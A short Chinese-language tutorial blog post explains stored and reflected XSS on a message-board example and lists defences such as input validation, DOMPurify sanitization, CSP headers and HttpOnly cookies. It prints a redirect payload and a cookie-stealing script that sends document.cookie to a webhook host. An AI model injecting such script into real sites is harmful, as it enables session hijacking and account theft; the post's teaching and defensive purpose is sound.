Cross Site Scripting (XSS) 攻擊及防制
2024-08-27 06:47:45
XSS (Cross-Site Scripting) 是一種網頁安全漏洞,允許攻擊者注入惡意腳本到網頁中,進而在其他使用者的瀏覽器上執行。
漏洞實現
Stored 儲存型 XSS
這邊舉個簡單的留言板當作舉例,通常都有網購看評價的經驗吧\owo/
1 | <form action="/submit" method="post"> |
1 |
|
1 | <!-- 顯示所有留言 --> |
所以我今天如果滿肚子壞水的在評論區輸入下方程式碼的話,每個只要載入我留言的人就會被 Rickroll XD
(location.href 代表者將網址重定位,JS 語法)
1 | <script>location.href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"</script> |
當然這樣看起來還好,但如果今天我帶入的內容是像下面這串,我就可以把你的 cookie 透過 webhook 等方式傳來給我,我就可以來做壞壞的事情(登入、分析日常習慣等)
1 | location.href="https://webhook.com?cookie="+document.cookie; |
可以在 Cookie 中加上 HttpOnly 來去禁止非伺服器之外其他來源取用 Cookie,有興趣可以參考這裡
Reflected 反射型 XSS
你可以直接點點看這個網站,反射型 XSS 通常會直接將參數藏在網址參數中,再透過各種方式讓被害人無意間點進去。
如何防制
防制 XSS 最好的方法,就是 “Never Trust User Input(永遠不相信用戶輸入)”,這邊的輸入不只包含表單輸入,還有網址帶的參數等等
- 輸入輸出驗證:透過 Regex 等公式檢視該輸入是否合法
- HTML Sanitization(淨化?):透過套件分析,來去除可能造成 XSS 等程式碼,並且保留原本文字輸出。可以參考 DOMPurify
- 設定 CSP Header: Content Security Policy 可以有效限制外部腳本運行,但是有時候被 XSS 攻擊利用的也可能是自己網站的腳本